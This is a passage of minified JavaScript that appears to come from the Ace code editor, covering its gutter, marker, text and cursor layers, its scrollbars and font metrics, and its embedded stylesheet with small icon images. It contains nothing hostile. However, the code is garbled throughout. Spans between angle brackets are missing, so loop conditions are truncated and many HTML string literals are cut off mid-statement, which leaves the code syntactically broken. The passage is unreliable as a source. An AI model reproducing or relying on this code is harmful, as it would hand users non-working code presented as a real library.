session.addGutterDecoration"),this.session.addGutterDecoration(e,t)},this.removeGutterDecoration=function(e,t){window.console&&console.warn&&console.warn("deprecated use session.removeGutterDecoration"),this.session.removeGutterDecoration(e,t)},this.setAnnotations=function(e){this.$annotations=[];for(var t=0;tr&&(p=o.end.row+1,o=t.getNextFoldLine(p,o),r=o?o.start.row:1/0),p>s){while(this.$cells.length>f+1)g=this.$cells.pop(),this.element.removeChild(g.element);break}g=this.$cells[++f],g||(g={element:null,textNode:null,foldWidget:null},g.element=n.createElement("div"),g.textNode=document.createTextNode(""),g.element.appendChild(g.textNode),this.element.appendChild(g.element),this.$cells[f]=g);var m="ace_gutter-cell ";l[p]&&(m+=l[p]),c[p]&&(m+=c[p]),this.$annotations[p]&&(m+=this.$annotations[p].className),g.element.className!=m&&(g.element.className=m);var A=t.getRowLength(p)*e.lineHeight+"px";if(A!=g.element.style.height&&(g.element.style.height=A),a){var v=a[p];null==v&&(v=a[p]=t.getFoldWidget(p))}if(v){g.foldWidget||(g.foldWidget=n.createElement("span"),g.element.appendChild(g.foldWidget));m="ace_fold-widget ace_"+v;"start"==v&&p==r&&pi.right-t.right?"foldWidgets":void 0}}).call(a.prototype),t.Gutter=a})),ace.define("ace/layer/marker",["require","exports","module","ace/range","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("../range").Range,s=e("../lib/dom"),o=function(e){this.element=s.createElement("div"),this.element.className="ace_layer ace_marker-layer",e.appendChild(this.element)};(function(){function e(e,t,i,n){return(e?1:0)|(t?2:0)|(i?4:0)|(n?8:0)}this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setMarkers=function(e){this.markers=e},this.update=function(e){if(e){this.config=e;var t=[];for(var i in this.markers){var n=this.markers[i];if(n.range){var s=n.range.clipRows(e.firstRow,e.lastRow);if(!s.isEmpty())if(s=s.toScreenRange(this.session),n.renderer){var o=this.$getTop(s.start.row,e),r=this.$padding+(this.session.$bidiHandler.isBidiRow(s.start.row)?this.session.$bidiHandler.getPosLeft(s.start.column):s.start.column*e.characterWidth);n.renderer(t,s,r,o,e)}else"fullLine"==n.type?this.drawFullLineMarker(t,s,n.clazz,e):"screenLine"==n.type?this.drawScreenLineMarker(t,s,n.clazz,e):s.isMultiLine()?"text"==n.type?this.drawTextMarker(t,s,n.clazz,e):this.drawMultiLineMarker(t,s,n.clazz,e):this.session.$bidiHandler.isBidiRow(s.start.row)?this.drawBidiSingleLineMarker(t,s,n.clazz+" ace_start ace_br15",e):this.drawSingleLineMarker(t,s,n.clazz+" ace_start ace_br15",e)}else n.update(t,this,this.session,e)}this.element.innerHTML=t.join("")}},this.$getTop=function(e,t){return(e-t.firstRowScreen)*t.lineHeight},this.drawTextMarker=function(t,i,s,o,r){for(var a=this.session,l=i.start.row,c=i.end.row,h=l,u=0,d=0,g=a.getScreenLastRowColumn(h),f=null,p=new n(h,i.start.column,h,d);h<=c;h++)p.start.row=p.end.row=h,p.start.column=h==l?i.start.column:a.getRowWrapIndent(h),p.end.column=g,u=d,d=g,g=h+1g,h==c),this.session.$bidiHandler.isBidiRow(h)?this.drawBidiSingleLineMarker(t,p,f,o,h==c?0:1,r):this.drawSingleLineMarker(t,p,f,o,h==c?0:1,r)},this.drawMultiLineMarker=function(e,t,i,n,s){var o,r,a,l=this.$padding;if(s=s||"",this.session.$bidiHandler.isBidiRow(t.start.row)){var c=t.clone();c.end.row=c.start.row,c.end.column=this.session.getLine(c.start.row).length,this.drawBidiSingleLineMarker(e,c,i+" ace_br1 ace_start",n,null,s)}else o=n.lineHeight,r=this.$getTop(t.start.row,n),a=l+t.start.column*n.characterWidth,e.push("
");if(this.session.$bidiHandler.isBidiRow(t.end.row)){c=t.clone();c.start.row=c.end.row,c.start.column=0,this.drawBidiSingleLineMarker(e,c,i+" ace_br12",n,null,s)}else{var h=t.end.column*n.characterWidth;o=n.lineHeight,r=this.$getTop(t.end.row,n),e.push("
")}if(o=(t.end.row-t.start.row-1)*n.lineHeight,!(o<=0)){r=this.$getTop(t.start.row+1,n);var u=(t.start.column?1:0)|(t.end.column?0:8);e.push("
")}},this.drawSingleLineMarker=function(e,t,i,n,s,o){var r=n.lineHeight,a=(t.end.column+(s||0)-t.start.column)*n.characterWidth,l=this.$getTop(t.start.row,n),c=this.$padding+t.start.column*n.characterWidth;e.push("
")},this.drawBidiSingleLineMarker=function(e,t,i,n,s,o){var r=n.lineHeight,a=this.$getTop(t.start.row,n),l=this.$padding,c=this.session.$bidiHandler.getSelections(t.start.column,t.end.column);c.forEach((function(t){e.push("
")}))},this.drawFullLineMarker=function(e,t,i,n,s){var o=this.$getTop(t.start.row,n),r=n.lineHeight;t.start.row!=t.end.row&&(r+=this.$getTop(t.end.row,n)-o),e.push("
")},this.drawScreenLineMarker=function(e,t,i,n,s){var o=this.$getTop(t.start.row,n),r=n.lineHeight;e.push("
")}}).call(o.prototype),t.Marker=o})),ace.define("ace/layer/text",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../lib/dom"),o=e("../lib/lang"),r=(e("../lib/useragent"),e("../lib/event_emitter").EventEmitter),a=function(e){this.element=s.createElement("div"),this.element.className="ace_layer ace_text-layer",e.appendChild(this.element),this.$updateEolChar=this.$updateEolChar.bind(this)};(function(){n.implement(this,r),this.EOF_CHAR="¶",this.EOL_CHAR_LF="¬",this.EOL_CHAR_CRLF="¤",this.EOL_CHAR=this.EOL_CHAR_LF,this.TAB_CHAR="—",this.SPACE_CHAR="·",this.$padding=0,this.$updateEolChar=function(){var e="\n"==this.session.doc.getNewLineCharacter()?this.EOL_CHAR_LF:this.EOL_CHAR_CRLF;if(this.EOL_CHAR!=e)return this.EOL_CHAR=e,!0},this.setPadding=function(e){this.$padding=e,this.element.style.padding="0 "+e+"px"},this.getLineHeight=function(){return this.$fontMetrics.$characterSize.height||0},this.getCharacterWidth=function(){return this.$fontMetrics.$characterSize.width||0},this.$setFontMetrics=function(e){this.$fontMetrics=e,this.$fontMetrics.on("changeCharacterSize",function(e){this._signal("changeCharacterSize",e)}.bind(this)),this.$pollSizeChanges()},this.checkForSizeChanges=function(){this.$fontMetrics.checkForSizeChanges()},this.$pollSizeChanges=function(){return this.$pollSizeChangesTimer=this.$fontMetrics.$pollSizeChanges()},this.setSession=function(e){this.session=e,e&&this.$computeTabString()},this.showInvisibles=!1,this.setShowInvisibles=function(e){return this.showInvisibles!=e&&(this.showInvisibles=e,this.$computeTabString(),!0)},this.displayIndentGuides=!0,this.setDisplayIndentGuides=function(e){return this.displayIndentGuides!=e&&(this.displayIndentGuides=e,this.$computeTabString(),!0)},this.$tabStrings=[],this.onChangeTabSize=this.$computeTabString=function(){var e=this.session.getTabSize();this.tabSize=e;for(var t=this.$tabStrings=[0],i=1;i"+o.stringRepeat(this.TAB_CHAR,i)+""):t.push(o.stringRepeat(" ",i));if(this.displayIndentGuides){this.$indentGuideRe=/\s\S| \t|\t |\s$/;var n="ace_indent-guide",s="",r="";if(this.showInvisibles){n+=" ace_invisible",s=" ace_invisible_space",r=" ace_invisible_tab";var a=o.stringRepeat(this.SPACE_CHAR,this.tabSize),l=o.stringRepeat(this.TAB_CHAR,this.tabSize)}else a=o.stringRepeat(" ",this.tabSize),l=a;this.$tabStrings[" "]=""+a+"",this.$tabStrings["\t"]=""+l+""}},this.updateLines=function(e,t,i){this.config.lastRow==e.lastRow&&this.config.firstRow==e.firstRow||this.scrollLines(e),this.config=e;for(var n=Math.max(t,e.firstRow),s=Math.min(i,e.lastRow),o=this.element.childNodes,r=0,a=e.firstRow;ac&&(a=l.end.row+1,l=this.session.getNextFoldLine(a,l),c=l?l.start.row:1/0),a>s)break;var h=o[r++];if(h){var u=[];this.$renderLine(u,a,!this.$useLineGroups(),a==c&&l),h.style.height=e.lineHeight*this.session.getRowLength(a)+"px",h.innerHTML=u.join("")}a++}},this.scrollLines=function(e){var t=this.config;if(this.config=e,!t||t.lastRow0;n--)i.removeChild(i.firstChild);if(t.lastRow>e.lastRow)for(n=this.session.getFoldedRowCount(e.lastRow+1,t.lastRow);n>0;n--)i.removeChild(i.lastChild);if(e.firstRowt.lastRow){s=this.$renderLinesFragment(e,t.lastRow+1,e.lastRow);i.appendChild(s)}},this.$renderLinesFragment=function(e,t,i){var n=this.element.ownerDocument.createDocumentFragment(),o=t,r=this.session.getNextFoldLine(o),a=r?r.start.row:1/0;while(1){if(o>a&&(o=r.end.row+1,r=this.session.getNextFoldLine(o,r),a=r?r.start.row:1/0),o>i)break;var l=s.createElement("div"),c=[];if(this.$renderLine(c,o,!1,o==a&&r),l.innerHTML=c.join(""),this.$useLineGroups())l.className="ace_line_group",n.appendChild(l),l.style.height=e.lineHeight*this.session.getRowLength(o)+"px";else while(l.firstChild)n.appendChild(l.firstChild);o++}return n},this.update=function(e){this.config=e;var t=[],i=e.firstRow,n=e.lastRow,s=i,o=this.session.getNextFoldLine(s),r=o?o.start.row:1/0;while(1){if(s>r&&(s=o.end.row+1,o=this.session.getNextFoldLine(s,o),r=o?o.start.row:1/0),s>n)break;this.$useLineGroups()&&t.push("
"),this.$renderLine(t,s,!1,s==r&&o),this.$useLineGroups()&&t.push("
"),s++}this.element.innerHTML=t.join("")},this.$textToken={text:!0,rparen:!0,lparen:!0},this.$renderToken=function(e,t,i,n){var s=this,r=/\t|&|<|>|( +)|([\x00-\x1f\x80-\xa0\xad\u1680\u180E\u2000-\u200f\u2028\u2029\u202F\u205F\u3000\uFEFF\uFFF9-\uFFFC])|[\u1100-\u115F\u11A3-\u11A7\u11FA-\u11FF\u2329-\u232A\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3000-\u303E\u3041-\u3096\u3099-\u30FF\u3105-\u312D\u3131-\u318E\u3190-\u31BA\u31C0-\u31E3\u31F0-\u321E\u3220-\u3247\u3250-\u32FE\u3300-\u4DBF\u4E00-\uA48C\uA490-\uA4C6\uA960-\uA97C\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFAFF\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFF01-\uFF60\uFFE0-\uFFE6]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,a=function(e,i,n,r,a){if(i)return s.showInvisibles?""+o.stringRepeat(s.SPACE_CHAR,e.length)+"":e;if("&"==e)return"&";if("<"==e)return"<";if(">"==e)return">";if("\t"==e){var l=s.session.getScreenTabSize(t+r);return t+=l-1,s.$tabStrings[l]}if(" "==e){var c=s.showInvisibles?"ace_cjk ace_invisible ace_invisible_space":"ace_cjk",h=s.showInvisibles?s.SPACE_CHAR:"";return t+=1,""+h+""}return n?""+s.SPACE_CHAR+"":(t+=1,""+e+"")},l=n.replace(r,a);if(this.$textToken[i.type])e.push(l);else{var c="ace_"+i.type.replace(/\./g," ace_"),h="";"fold"==i.type&&(h=" style='width:"+i.value.length*this.config.characterWidth+"px;' "),e.push("",l,"")}return t+n.length},this.renderIndentGuide=function(e,t,i){var n=t.search(this.$indentGuideRe);return n<=0||n>=i?t:" "==t[0]?(n-=n%this.tabSize,e.push(o.stringRepeat(this.$tabStrings[" "],n/this.tabSize)),t.substr(n)):"\t"==t[0]?(e.push(o.stringRepeat(this.$tabStrings["\t"],n)),t.substr(n)):t},this.$renderWrappedLine=function(e,t,i,n){for(var s=0,r=0,a=i[0],l=0,c=0;c=a)l=this.$renderToken(e,l,h,u.substring(0,a-s)),u=u.substring(a-s),s=a,n||e.push("","
"),e.push(o.stringRepeat(" ",i.indent)),r++,l=0,a=i[r]||Number.MAX_VALUE;0!=u.length&&(s+=u.length,l=this.$renderToken(e,l,h,u))}}},this.$renderSimpleLine=function(e,t){var i=0,n=t[0],s=n.value;this.displayIndentGuides&&(s=this.renderIndentGuide(e,s)),s&&(i=this.$renderToken(e,i,n,s));for(var o=1;o"),s.length){var o=this.session.getRowSplitData(t);o&&o.length?this.$renderWrappedLine(e,s,o,i):this.$renderSimpleLine(e,s)}this.showInvisibles&&(n&&(t=n.end.row),e.push("",t==this.session.getLength()-1?this.EOF_CHAR:this.EOL_CHAR,"")),i||e.push("
")},this.$getFoldLineTokens=function(e,t){var i=this.session,n=[];function s(e,t,i){var s=0,o=0;while(o+e[s].value.lengthi-t&&(r=r.substring(0,i-t)),n.push({type:e[s].type,value:r}),o=t+r.length,s+=1}while(oi?n.push({type:e[s].type,value:r.substring(0,i-o)}):n.push(e[s]),o+=r.length,s+=1}}var o=i.getTokens(e);return t.walk((function(e,t,r,a,l){null!=e?n.push({type:"fold",value:e}):(l&&(o=i.getTokens(t)),o.length&&s(o,a,r))}),t.end.row,this.session.getLine(t.end.row).length),n},this.$useLineGroups=function(){return this.session.getUseWrapMode()},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.$measureNode&&this.$measureNode.parentNode.removeChild(this.$measureNode),delete this.$measureNode}}).call(a.prototype),t.Text=a})),ace.define("ace/layer/cursor",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n,s=e("../lib/dom"),o=function(e){this.element=s.createElement("div"),this.element.className="ace_layer ace_cursor-layer",e.appendChild(this.element),void 0===n&&(n=!("opacity"in this.element.style)),this.isVisible=!1,this.isBlinking=!0,this.blinkInterval=1e3,this.smoothBlinking=!1,this.cursors=[],this.cursor=this.addCursor(),s.addCssClass(this.element,"ace_hidden-cursors"),this.$updateCursors=(n?this.$updateVisibility:this.$updateOpacity).bind(this)};(function(){this.$updateVisibility=function(e){for(var t=this.cursors,i=t.length;i--;)t[i].style.visibility=e?"":"hidden"},this.$updateOpacity=function(e){for(var t=this.cursors,i=t.length;i--;)t[i].style.opacity=e?"":"0"},this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setBlinking=function(e){e!=this.isBlinking&&(this.isBlinking=e,this.restartTimer())},this.setBlinkInterval=function(e){e!=this.blinkInterval&&(this.blinkInterval=e,this.restartTimer())},this.setSmoothBlinking=function(e){e==this.smoothBlinking||n||(this.smoothBlinking=e,s.setCssClass(this.element,"ace_smooth-blinking",e),this.$updateCursors(!0),this.$updateCursors=this.$updateOpacity.bind(this),this.restartTimer())},this.addCursor=function(){var e=s.createElement("div");return e.className="ace_cursor",this.element.appendChild(e),this.cursors.push(e),e},this.removeCursor=function(){if(this.cursors.length>1){var e=this.cursors.pop();return e.parentNode.removeChild(e),e}},this.hideCursor=function(){this.isVisible=!1,s.addCssClass(this.element,"ace_hidden-cursors"),this.restartTimer()},this.showCursor=function(){this.isVisible=!0,s.removeCssClass(this.element,"ace_hidden-cursors"),this.restartTimer()},this.restartTimer=function(){var e=this.$updateCursors;if(clearInterval(this.intervalId),clearTimeout(this.timeoutId),this.smoothBlinking&&s.removeCssClass(this.element,"ace_smooth-blinking"),e(!0),this.isBlinking&&this.blinkInterval&&this.isVisible){this.smoothBlinking&&setTimeout(function(){s.addCssClass(this.element,"ace_smooth-blinking")}.bind(this));var t=function(){this.timeoutId=setTimeout((function(){e(!1)}),.6*this.blinkInterval)}.bind(this);this.intervalId=setInterval((function(){e(!0),t()}),this.blinkInterval),t()}},this.getPixelPosition=function(e,t){if(!this.config||!this.session)return{left:0,top:0};e||(e=this.session.selection.getCursor());var i=this.session.documentToScreenPosition(e),n=this.$padding+(this.session.$bidiHandler.isBidiRow(i.row,e.row)?this.session.$bidiHandler.getPosLeft(i.column):i.column*this.config.characterWidth),s=(i.row-(t?this.config.firstRowScreen:0))*this.config.lineHeight;return{left:n,top:s}},this.update=function(e){this.config=e;var t=this.session.$selectionMarkers,i=0,n=0;void 0!==t&&0!==t.length||(t=[{cursor:null}]);i=0;for(var s=t.length;ie.height+e.offset||o.top<0)&&i>1)){var r=(this.cursors[n++]||this.addCursor()).style;this.drawCursor?this.drawCursor(r,o,e,t[i],this.session):(r.left=o.left+"px",r.top=o.top+"px",r.width=e.characterWidth+"px",r.height=e.lineHeight+"px")}}while(this.cursors.length>n)this.removeCursor();var a=this.session.getOverwrite();this.$setOverwrite(a),this.$pixelPos=o,this.restartTimer()},this.drawCursor=null,this.$setOverwrite=function(e){e!=this.overwrite&&(this.overwrite=e,e?s.addCssClass(this.element,"ace_overwrite-cursors"):s.removeCssClass(this.element,"ace_overwrite-cursors"))},this.destroy=function(){clearInterval(this.intervalId),clearTimeout(this.timeoutId)}}).call(o.prototype),t.Cursor=o})),ace.define("ace/scrollbar",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/event","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/dom"),o=e("./lib/event"),r=e("./lib/event_emitter").EventEmitter,a=32768,l=function(e){this.element=s.createElement("div"),this.element.className="ace_scrollbar ace_scrollbar"+this.classSuffix,this.inner=s.createElement("div"),this.inner.className="ace_scrollbar-inner",this.element.appendChild(this.inner),e.appendChild(this.element),this.setVisible(!1),this.skipEvent=!1,o.addListener(this.element,"scroll",this.onScroll.bind(this)),o.addListener(this.element,"mousedown",o.preventDefault)};(function(){n.implement(this,r),this.setVisible=function(e){this.element.style.display=e?"":"none",this.isVisible=e,this.coeff=1}}).call(l.prototype);var c=function(e,t){l.call(this,e),this.scrollTop=0,this.scrollHeight=0,t.$scrollbarWidth=this.width=s.scrollbarWidth(e.ownerDocument),this.inner.style.width=this.element.style.width=(this.width||15)+5+"px",this.$minWidth=0};n.inherits(c,l),function(){this.classSuffix="-v",this.onScroll=function(){if(!this.skipEvent){if(this.scrollTop=this.element.scrollTop,1!=this.coeff){var e=this.element.clientHeight/this.scrollHeight;this.scrollTop=this.scrollTop*(1-e)/(this.coeff-e)}this._emit("scroll",{data:this.scrollTop})}this.skipEvent=!1},this.getWidth=function(){return Math.max(this.isVisible?this.width:0,this.$minWidth||0)},this.setHeight=function(e){this.element.style.height=e+"px"},this.setInnerHeight=this.setScrollHeight=function(e){this.scrollHeight=e,e>a?(this.coeff=a/e,e=a):1!=this.coeff&&(this.coeff=1),this.inner.style.height=e+"px"},this.setScrollTop=function(e){this.scrollTop!=e&&(this.skipEvent=!0,this.scrollTop=e,this.element.scrollTop=e*this.coeff)}}.call(c.prototype);var h=function(e,t){l.call(this,e),this.scrollLeft=0,this.height=t.$scrollbarWidth,this.inner.style.height=this.element.style.height=(this.height||15)+5+"px"};n.inherits(h,l),function(){this.classSuffix="-h",this.onScroll=function(){this.skipEvent||(this.scrollLeft=this.element.scrollLeft,this._emit("scroll",{data:this.scrollLeft})),this.skipEvent=!1},this.getHeight=function(){return this.isVisible?this.height:0},this.setWidth=function(e){this.element.style.width=e+"px"},this.setInnerWidth=function(e){this.inner.style.width=e+"px"},this.setScrollWidth=function(e){this.inner.style.width=e+"px"},this.setScrollLeft=function(e){this.scrollLeft!=e&&(this.skipEvent=!0,this.scrollLeft=this.element.scrollLeft=e)}}.call(h.prototype),t.ScrollBar=c,t.ScrollBarV=c,t.ScrollBarH=h,t.VScrollBar=c,t.HScrollBar=h})),ace.define("ace/renderloop",["require","exports","module","ace/lib/event"],(function(e,t,i){"use strict";var n=e("./lib/event"),s=function(e,t){this.onRender=e,this.pending=!1,this.changes=0,this.window=t||window};(function(){this.schedule=function(e){if(this.changes=this.changes|e,!this.pending&&this.changes){this.pending=!0;var t=this;n.nextFrame((function(){var e;t.pending=!1;while(e=t.changes)t.changes=0,t.onRender(e)}),this.window)}}}).call(s.prototype),t.RenderLoop=s})),ace.define("ace/layer/font_metrics",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/lib/event_emitter"],(function(e,t,i){var n=e("../lib/oop"),s=e("../lib/dom"),o=e("../lib/lang"),r=e("../lib/useragent"),a=e("../lib/event_emitter").EventEmitter,l=0,c=t.FontMetrics=function(e){this.el=s.createElement("div"),this.$setMeasureNodeStyles(this.el.style,!0),this.$main=s.createElement("div"),this.$setMeasureNodeStyles(this.$main.style),this.$measureNode=s.createElement("div"),this.$setMeasureNodeStyles(this.$measureNode.style),this.el.appendChild(this.$main),this.el.appendChild(this.$measureNode),e.appendChild(this.el),l||this.$testFractionalRect(),this.$measureNode.innerHTML=o.stringRepeat("X",l),this.$characterSize={width:0,height:0},this.checkForSizeChanges()};(function(){n.implement(this,a),this.$characterSize={width:0,height:0},this.$testFractionalRect=function(){var e=s.createElement("div");this.$setMeasureNodeStyles(e.style),e.style.width="0.2px",document.documentElement.appendChild(e);var t=e.getBoundingClientRect().width;l=t>0&&t<1?50:100,e.parentNode.removeChild(e)},this.$setMeasureNodeStyles=function(e,t){e.width=e.height="auto",e.left=e.top="0px",e.visibility="hidden",e.position="absolute",e.whiteSpace="pre",r.isIE<8?e["font-family"]="inherit":e.font="inherit",e.overflow=t?"hidden":"visible"},this.checkForSizeChanges=function(){var e=this.$measureSizes();if(e&&(this.$characterSize.width!==e.width||this.$characterSize.height!==e.height)){this.$measureNode.style.fontWeight="bold";var t=this.$measureSizes();this.$measureNode.style.fontWeight="",this.$characterSize=e,this.charSizes=Object.create(null),this.allowBoldFonts=t&&t.width===e.width&&t.height===e.height,this._emit("changeCharacterSize",{data:e})}},this.$pollSizeChanges=function(){if(this.$pollSizeChangesTimer)return this.$pollSizeChangesTimer;var e=this;return this.$pollSizeChangesTimer=setInterval((function(){e.checkForSizeChanges()}),500)},this.setPolling=function(e){e?this.$pollSizeChanges():this.$pollSizeChangesTimer&&(clearInterval(this.$pollSizeChangesTimer),this.$pollSizeChangesTimer=0)},this.$measureSizes=function(){if(50===l){var e=null;try{e=this.$measureNode.getBoundingClientRect()}catch(i){e={width:0,height:0}}var t={height:e.height,width:e.width/l}}else t={height:this.$measureNode.clientHeight,width:this.$measureNode.clientWidth/l};return 0===t.width||0===t.height?null:t},this.$measureCharWidth=function(e){this.$main.innerHTML=o.stringRepeat(e,l);var t=this.$main.getBoundingClientRect();return t.width/l},this.getCharacterWidth=function(e){var t=this.charSizes[e];return void 0===t&&(t=this.charSizes[e]=this.$measureCharWidth(e)/this.$characterSize.width),t},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.el&&this.el.parentNode&&this.el.parentNode.removeChild(this.el)}}).call(c.prototype)})),ace.define("ace/virtual_renderer",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/config","ace/lib/useragent","ace/layer/gutter","ace/layer/marker","ace/layer/text","ace/layer/cursor","ace/scrollbar","ace/scrollbar","ace/renderloop","ace/layer/font_metrics","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/dom"),o=e("./config"),r=e("./lib/useragent"),a=e("./layer/gutter").Gutter,l=e("./layer/marker").Marker,c=e("./layer/text").Text,h=e("./layer/cursor").Cursor,u=e("./scrollbar").HScrollBar,d=e("./scrollbar").VScrollBar,g=e("./renderloop").RenderLoop,f=e("./layer/font_metrics").FontMetrics,p=e("./lib/event_emitter").EventEmitter,m='.ace_editor {position: relative;overflow: hidden;font: 12px/normal \'Monaco\', \'Menlo\', \'Ubuntu Mono\', \'Consolas\', \'source-code-pro\', monospace;direction: ltr;text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}.ace_scroller {position: absolute;overflow: hidden;top: 0;bottom: 0;background-color: inherit;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;cursor: text;}.ace_content {position: absolute;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;min-width: 100%;}.ace_dragging .ace_scroller:before{position: absolute;top: 0;left: 0;right: 0;bottom: 0;content: \'\';background: rgba(250, 250, 250, 0.01);z-index: 1000;}.ace_dragging.ace_dark .ace_scroller:before{background: rgba(0, 0, 0, 0.01);}.ace_selecting, .ace_selecting * {cursor: text !important;}.ace_gutter {position: absolute;overflow : hidden;width: auto;top: 0;bottom: 0;left: 0;cursor: default;z-index: 4;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;}.ace_gutter-active-line {position: absolute;left: 0;right: 0;}.ace_scroller.ace_scroll-left {box-shadow: 17px 0 16px -16px rgba(0, 0, 0, 0.4) inset;}.ace_gutter-cell {padding-left: 19px;padding-right: 6px;background-repeat: no-repeat;}.ace_gutter-cell.ace_error {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAABOFBMVEX/////////QRswFAb/Ui4wFAYwFAYwFAaWGAfDRymzOSH/PxswFAb/SiUwFAYwFAbUPRvjQiDllog5HhHdRybsTi3/Tyv9Tir+Syj/UC3////XurebMBIwFAb/RSHbPx/gUzfdwL3kzMivKBAwFAbbvbnhPx66NhowFAYwFAaZJg8wFAaxKBDZurf/RB6mMxb/SCMwFAYwFAbxQB3+RB4wFAb/Qhy4Oh+4QifbNRcwFAYwFAYwFAb/QRzdNhgwFAYwFAbav7v/Uy7oaE68MBK5LxLewr/r2NXewLswFAaxJw4wFAbkPRy2PyYwFAaxKhLm1tMwFAazPiQwFAaUGAb/QBrfOx3bvrv/VC/maE4wFAbRPBq6MRO8Qynew8Dp2tjfwb0wFAbx6eju5+by6uns4uH9/f36+vr/GkHjAAAAYnRSTlMAGt+64rnWu/bo8eAA4InH3+DwoN7j4eLi4xP99Nfg4+b+/u9B/eDs1MD1mO7+4PHg2MXa347g7vDizMLN4eG+Pv7i5evs/v79yu7S3/DV7/498Yv24eH+4ufQ3Ozu/v7+y13sRqwAAADLSURBVHjaZc/XDsFgGIBhtDrshlitmk2IrbHFqL2pvXf/+78DPokj7+Fz9qpU/9UXJIlhmPaTaQ6QPaz0mm+5gwkgovcV6GZzd5JtCQwgsxoHOvJO15kleRLAnMgHFIESUEPmawB9ngmelTtipwwfASilxOLyiV5UVUyVAfbG0cCPHig+GBkzAENHS0AstVF6bacZIOzgLmxsHbt2OecNgJC83JERmePUYq8ARGkJx6XtFsdddBQgZE2nPR6CICZhawjA4Fb/chv+399kfR+MMMDGOQAAAABJRU5ErkJggg==");background-repeat: no-repeat;background-position: 2px center;}.ace_gutter-cell.ace_warning {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAmVBMVEX///8AAAD///8AAAAAAABPSzb/5sAAAAB/blH/73z/ulkAAAAAAAD85pkAAAAAAAACAgP/vGz/rkDerGbGrV7/pkQICAf////e0IsAAAD/oED/qTvhrnUAAAD/yHD/njcAAADuv2r/nz//oTj/p064oGf/zHAAAAA9Nir/tFIAAAD/tlTiuWf/tkIAAACynXEAAAAAAAAtIRW7zBpBAAAAM3RSTlMAABR1m7RXO8Ln31Z36zT+neXe5OzooRDfn+TZ4p3h2hTf4t3k3ucyrN1K5+Xaks52Sfs9CXgrAAAAjklEQVR42o3PbQ+CIBQFYEwboPhSYgoYunIqqLn6/z8uYdH8Vmdnu9vz4WwXgN/xTPRD2+sgOcZjsge/whXZgUaYYvT8QnuJaUrjrHUQreGczuEafQCO/SJTufTbroWsPgsllVhq3wJEk2jUSzX3CUEDJC84707djRc5MTAQxoLgupWRwW6UB5fS++NV8AbOZgnsC7BpEAAAAABJRU5ErkJggg==");background-position: 2px center;}.ace_gutter-cell.ace_info {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAAAAAA6mKC9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAJ0Uk5TAAB2k804AAAAPklEQVQY02NgIB68QuO3tiLznjAwpKTgNyDbMegwisCHZUETUZV0ZqOquBpXj2rtnpSJT1AEnnRmL2OgGgAAIKkRQap2htgAAAAASUVORK5CYII=");background-position: 2px center;}.ace_dark .ace_gutter-cell.ace_info {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAJFBMVEUAAAChoaGAgIAqKiq+vr6tra1ZWVmUlJSbm5s8PDxubm56enrdgzg3AAAAAXRSTlMAQObYZgAAAClJREFUeNpjYMAPdsMYHegyJZFQBlsUlMFVCWUYKkAZMxZAGdxlDMQBAG+TBP4B6RyJAAAAAElFTkSuQmCC");}.ace_scrollbar {position: absolute;right: 0;bottom: 0;z-index: 6;}.ace_scrollbar-inner {position: absolute;cursor: text;left: 0;top: 0;}.ace_scrollbar-v{overflow-x: hidden;overflow-y: scroll;top: 0;}.ace_scrollbar-h {overflow-x: scroll;overflow-y: hidden;left: 0;}.ace_print-margin {position: absolute;height: 100%;}.ace_text-input {position: absolute;z-index: 0;width: 0.5em;height: 1em;opacity: 0;background: transparent;-moz-appearance: none;appearance: none;border: none;resize: none;outline: none;overflow: hidden;font: inherit;padding: 0 1px;margin: 0 -1px;text-indent: -1em;-ms-user-select: text;-moz-user-select: text;-webkit-user-select: text;user-select: text;white-space: pre!important;}.ace_text-input.ace_composition {background: inherit;color: inherit;z-index: 1000;opacity: 1;text-indent: 0;}.ace_layer {z-index: 1;position: absolute;overflow: hidden;word-wrap: normal;white-space: pre;height: 100%;width: 100%;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;pointer-events: none;}.ace_gutter-layer {position: relative;width: auto;text-align: right;pointer-events: auto;}.ace_text-layer {font: inherit !important;}.ace_cjk {display: inline-block;text-align: center;}.ace_cursor-layer {z-index: 4;}.ace_cursor {z-index: 4;position: absolute;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;border-left: 2px solid;transform: translatez(0);}.ace_multiselect .ace_cursor {border-left-width: 1px;}.ace_slim-cursors .ace_cursor {border-left-width: 1px;}.ace_overwrite-cursors .ace_cursor {border-left-width: 0;border-bottom: 1px solid;}.ace_hidden-cursors .ace_cursor {opacity: 